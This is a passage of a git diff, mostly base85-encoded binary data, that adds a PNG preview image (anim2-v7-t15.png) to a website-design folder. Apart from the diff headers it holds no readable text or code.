z?8kTjQ(U{cy>|UfN;gy_S^CB@+!y_3U)*8vc8}a8W}yL+QpebFl|8Z|<=gXa$Sk#$ zC40nJN)80AxT0yFz?xxD?jdjnhDtD z)&&ZAVZ>|n!Qj5u*}$F<*WOx%iB^Z2m7iA(C3B>A2xs!hkC7eQqL0W^iIccb^a|({ z%fEa{d1Jg*u2k-bIxUyO(bKOBc3R1<$bYAC+K13#wqng3M4Bd;i;BfyzsM-3+_agf z3MHSb0|$IhDi8|Bf7zKD&!WDq%HqMdUfiOs$nw*xb8{blb&u^=^PH?U(>FS5cD8uw zBmX(wiUpuX?q2?sBv>DPMrT0Um$yi$3mhSIm>OrYCbvymG$R+A*L3PM0XuQ7*+8UE z1HV0CP_7EG8BIq1<2S10@1HNSo`$5v`-&JrL1}b!C@PkX#%whez5xA;FK^l9Pw&!q zbJ^9K$On2q;!0G@VV}+S z-Os}73jp>!D-E1BKt11+V5K$FN;lg|GiwP=xC2!!cAT9%%EX)tty}temRcSog|c=_ zSQV8D2?jhKvT++!+_?igMz7SqyrQ#uzkfrTq{5eaC*U_T)E8#VJ~eZe7)%Qh%V1%) z5IA?Zz3vWLMz1JN6Nl;seOl_coj&X-lo!hPgd1d@O8z5@J5awlq6gi^m}VUBtQ--} z5Uq4)mv_=X3CUd(6jLjl+rOMB`=S$s8sfiC3`w|^6)^D8?B(Er^NJ0my{T#+7zrKD zpiMxE*dsBti`iU(@Gr{G=Pmwsd5 z^1wyKU}kVZSjA;SNiu=8V3!BZH7*$L;Hw8+FVG(lEf5Zl(vM{cuB=Zrc@5!)%=T&0 zH%`Sn0~(=9*KiX2$kzsGEjfvgrts&-XKy!i{*r8#zi-RH&7yTYIxWzW)-kvKY24m8 zMWo6loQ!}hPh^C7ZvB(6?E;bkLEZ+>XI}{R{m$#2x`MO4LE6`GKch~yMP(i~ki8PL z5{SR5x$(tZ?<~j%*rEhbJnsJQ4iu-H09|gwZ8(1{ zv|K}H!#(A^si8WE*0r^2_2dp(H@xkcDReQ+Bs+cfi`g zZ+WXO$Sr9Kc}*0mt}VYmoX%Tj3wumihg_VA4YW^hpnq9Cz7PfRA@A0khHZE2y$_m+ z$42dou1tUc+lc%pZECxZ*Byn$uoqG<8`~zFqiD|<7Io|W=fMe%Q(H8xI%)Oee?#%3 zm58nd-MT?S)#4ZCft0XioOgX#-)k8pf5;-$NPx^AY%sP{jefT%eFr?ZH;^3N<*Wv6 z4zbyao@zv_RxfsGbj@YE6QyCdU74$G+?(|1OSJ)Gjhpa}jBxY?ZrE-x*u1(i(Zr7{ z0;-0#PmgKMb?TSotc4q>Yx}<~xgUkNHDK9u!_%7f=$<5r-2`8aznfP5Si8NK;uXhdVm)_QMzQIe5RAg-oBJBFEECOAWf`xqgOY;@{fa>1&e~ z8=88pvtn8NRCO9nN+F1YuwG-GZm%0lcKHV2NnGFsMHM`V?d* zQ<%$)5+(y1rZZba6tMxP9Fig3ViiY3aYXo84xwsgQa)a_J}iP|TirV~oQrYLDH ze)&&ep^NkMPNqYGze12~@)j}W)@$CEAA=r*3u7=E=4Y&nqAMYPY*n9{z4lt&%evWB zFUoWM%A&EYl&DNyANb+(TwVH(pt)Vby@x&hDn^fFOpBHS%u@ivL9!_{Xz9yPc|3XS zjQokD_tvq$hA(bc8CZEO_x+oIuxl$(>*^eU%B(;(7JUZBaL*8mxSW`pyM%Lr1$vgc zb)58*(}jfBOafi3|NRII9I24io$?43wljT{EUCF%RFvnHc|?eP)UIZQJP1fa9LSVF5LVA0N)Nbc;P3SeCFn5M8B8n0fY4AbNeq=JpN_W-qla?S)Z%h zKYCI&dD1$*J5jwKw(&)z!tH701HGu`kAwSy#{=E9R&Ym4M9MDGB_ezkGCt?tF3CrW z_IUKw>SHa~m~C&Sz_F8(VM4->mTX?GsFf1Eo}x6+Qk4^a#G|s`N8o83^hhUS`Vde* zBr6e)&ZcidDVGTqA*<rMeLb+yo+p9^)A{90f3)w%8cLM0J}_0W`$$f(0sdxZE#Y z7_p3V5y~3e>Lc49N19P&-3F^kG%UlOwU^I;2tQPOlM&YY#uw7{6DYFEi|~fHr9*vVzTvjc^n>oeu8pkU3j<3Xo{PDA|h%AYd0B<1}X<7gwI36euT zpbRO7*98F3Yjv{3sR3|E*HibQ;9e~Ba+jt~2%9LT>dF{Hg`J)J`0?ZP7$i<^k+P=1 zue_mEw{CyM-6rArRB!W2HGoX=kwl2ZpOD!YrBCviRbeAL4$ctofwZ~nJG&rW;N)`N zt3&*ZW64*u*wolQ$J8B8ce5VhCtZj~hj%!ni38rYo&VgOzi^Q`Z;b7bc)C2W{7xMF zS5_RCZOCK(pZ2b_tEqHZV{?>lZRB`cKvbaBR=@~Rkr@&d5d{Gi0T~jc0TIHWOkoPK zwUrjch;$Q~RffnsgfSsR=9x&CAp{Uf2!sRzA&`OGP2WEM;I6yYUCZ~={;=2nP`m1> zr>fqnnne3Re1{dY;y~nZ--cgqmc66Pm6||l0Yc%m0>wYB6inix0UFjr_qcn|nf$9c z!)s%6wB^@f1m#9H)Vm3Yo*Do~yb7mDIx-IC!FBUEv%mmAdpC%988jK{Cz%M*g-7Lz z`M6D58f=ojy^-g5{DXh#xxf7}?C<<6;7;5~5BPIru@B=^udfEcIMRj1W^IR?Q*P;8-F8OLO8&3uQy45u;;TGJialeOT&Pk8iE z0YI#B0nS>~7{wyhij87FF;TpX@`eM#5CN84TJAC24g?8ifP(>oDJzARbDU`ulcHxt zHRIQ_X6^waYXiFCBX5`4I(D`ECDk+PocY z3v;_A4!tq9coNaFrlb~-lP@2aWfsv*&X+d|xfwC~W)zDReQI_ZB6#vrv!PmBrvX?A z0HQ1IHAa9-72-f}M@=T{Iy{!wZF@5Me|DI39Nww14?TsVs%VjuIsspPI?QO`MHL{I zCyD5Rmu;ly8$ZUq?}5cf%&-2yf=4v{(L3FQ1_Bh54ff~vK5;*VPWrXtk&;K1u}|x?!t@XuI)~H z4@-W#1yHPPBL&M=E@f=WSf5QYA3fu2Z;GDZ)Hu~2;oC0Ue(8wGokQ+v$81=Ig03#CiQwF9h))y*yo{AitC=k*V3D(8MrI-?kE_Vr+-ZoU1*3f7 z^yUm!r;h20?lv`f@8#}I{$Bl+D9+*)uufvp=%WbG?8DIJhZ&?H&H)F%vARol9~3N* zW(QKDK6zI|8ixz82cPpk+o{XTEz|~1Y=|Xb*vh!z`NjU~ioQd}t~x2AsK7Mm@9pM3?t30r2}J!sluAVH=;?bO1!Jx~ zvqAjembkvT)(f!G{sv*yEOURRu=nN4?{RUVm;G8^s(|}RVH&^vCl?T37(|8QGQ{*_ z{C$fsNn%gVP=Q8J>G&Ovwg|&Ia+3TAbXh08_IUBd-{nk&vL^;zV@8YI!Ssaa)#8_H zr}v++sJr+RAk(7=-f@|0*1rgI!yVr`(cAkk89r_V2x=6cM+AyA4)%tI+jsp!7^k$; zGQwF4nx0EfNOEBHJ4xl86<)T%PZy4HRo-H=zmKbtt`^~P{PtqRd2#OAB8|u)NW4XJtnlp~exM%Xt01{yJWjW+W-+i(*i5 zcSGDGg~oLeS9~r+^~=idK0lkX^UABSYwZ&UUP!O@-LWesX0 zMgW9IY{c1N-YC}?8<<9W{Fhqz9Uzy&N#7KF)jtOG*LV#~pTb7tufXA>jj+q9t{0$N zf;Vrl+r|*9lHfM=LwWkW*GM=o{+E~d*&4EJ5^ybF_<+J!ppDrO;_%#(8GcKDc7fS9g`0w*S%|hc08f- zgs8D+e`UP?V(|^BF7jx*N7xp>m9b_NVu;L&=Jx6ec#BdJMJgvFvm(V59hWi8d2pA~ z@FdN*y@>7-(%9h-Yt-gHj`b9>-D*K=DtU@xy^v9X%B|3cqwjC@<<1kjx)iB8E|R ze_GP{JIJ_-#7z1DEbTzB+6~l5V26}=UN_5*Vk}~2m_`*2B(2Xt(c(#_h@|aOW5`_f zwWEwxgd^9Q39B={Fm(4%W&5-5ycrRggmWJ@gfA5yRLD2e^Ax+&R;y=8AW$J;eL16` z?-;H~Crr&;bfgs0zZ>)3E z3~`TkL>}WqBE1EnlWzEE)2k)HGZ^7xkzuy?2%x{4g~@=(JU71{OPwHLAf~GWTWWZZ zf&4#@8}l1VuMeKWL8BGkN@!xB^r%&$>PTZJQ###4121)D%EsB8DUjBfV>hPJVv{m4 zn-7kSY|1-wi>PPs;^DrwG4Z?u89>uzZf)f>LMrXc5bB!)5-kfalU6*&4EYaN{s1_GBgt|8xo8zZnW8A>JwpUhJGFxA7 zBcjuMJ}pbAFT9aCg+^(~x?6H{_@|n;{SS#|J~~tSjYRb)=i&#+(X||FshJL$V8cCT zMo>id1;!4e{il&|cj^Ujt*i71wKhE^(08*nzg|!4LuK)!_(L(HpCB#K1_(O4voS{( zE!n6r@6g>LqfYTa&MPxemf%&(1?a-SZncz=NftIv~Sa8&h? z2TL(Rn4M)dO*+9+61eP41#Zu)5|I%L9SY(v>e)ay zY71}~US?(Zm<6z`hd2}caCBB6P$#XNK$cEtrql#A6nylE?;Ltn*dL<=%!<*m*VX*6 zm?6l2n-qHwP%%8>i^<4x+Qv{X57Q$Enk0v@YKYSNF)s4zXKR84mte{b>$W+%TU2>9 zC*P*b08vTU|U7adgOspd^ z2s?J#XT79vdH8(nO{;x;g*q19!^s^zoNh<)3$?Ijen=zX0vAG1!fv(eZQfH2@(DN{ zkeLG@>L1WXoC&qj+_@u4ff-wDnjB#FdYB}EJQ!5+AR@IbKq0Y_W}94bSh5c~lQIas+x#565P|evWDdmpE;(5QxfLjP34cyUjKBTN&6kN?Ap6!NG)$CDWCfZB;@QMeUt+u**k0k$|THJhlZnK04~v{P$-9d<1O6GjJ_uYWZspEJ1c=L5SSHr<|g zs%4oJQbwbc)oYcj9Dl@Sa4Fn!d-wn$}`F)erizrqUoVnwhQsU_5_*OwKaT^emq_ zh{tyb0#RkrOM#Z*>hyXKN{z!LhHa8uonqtu7ahoDmfDa(!_ThX^0~77%i0hWVj6xw zkm1RD}h%~ic6i5h)aDfMnG>msfKi{8j7%}xkehu!nGQa0V zY))Wr7PWaA+^?pkV({>jHfl-wyVn}E1fQMm9-?x^w*ONFD$Yi2;zI59ffYIn*d3v| z6yArP&)nxG{Cq7C&M8qyEG_(4T-v{W$PIt)P9&?XEK#%G^J3H}^+-~DXA1^ZXVn}q-m8kl5h+))b?t8L?mB1=~rD_bn1&<_D`ptdO2Hh_yg;I9B zpdc>!wsY4|BN?zoLg)mK4bw6eZ@9z7?bGzh#cs!f$QbTwkd%Y7r&3Z^d)X{<%u)sp z3(x3|FZ5q~yG9e+ch~}=30Q&2f_hHd!#<{CAqbn6q=}CG>ef>DctrrVF;jtU7_mmu zn={_OynWdhaQ!lyWDN_Mhx?aHiIubEaREg&?lVn_ii(ySq-@E}7?N~b2t zWiez{Q5@XED zC7dqG6#+lbtMLx5$QH*-a-=TF-birl!>fJ(u#*oc`rF3E-kQt9!#zHwa9y;ybO0rK zx$u|cB7))f<6_F~);wwZ`qCm!&kNRF%nFTatCb(advgZ_uk?eQ2Ni6O8m(?{8Ov^H z#*;T~L1(N<9yDYS>vOevR6Rue^*9E%J)26kPpnP0LI=mLr5PZ&4Afv&+W3RL0!s~O ztgwTuBHAeNFp@Lxty(6OBXMB{az&$joHP0HfsXbZM+e6Vda|mDmB$vn`ReDYWdgWpi!hey2 zjoNjIbjNTHM!gO-{3^7WFSpM{DYu$e_0?=`6i*Sf(#@l)8VmU;-rOt{gdd!CK?|T+ zLmJU?^Njgdku!|ywGs8PM`uGWVXFhi(d&ux-iiggGEhPByIM393eJ?dth>w|I0#^V z4dFw0P+nzxUqbDLZW%rm6uD&XY3t-j-bzSKome__y67}U-FTor{A){p81X#w5m56! z4Jy=$+6KH38{PuRv2Q-;{~Z)`?l6N^AUfGOk1u{>6Wt;@^kl5*lF^P{UbnElQhNE`lm7;$9?XjX literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v7-t15.png b/website-design/previews/anim2-v7-t15.png new file mode 100644 index 0000000000000000000000000000000000000000..e96e04f87e631732efa4106be3e8bdbd41f08f5e GIT binary patch literal 60101 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 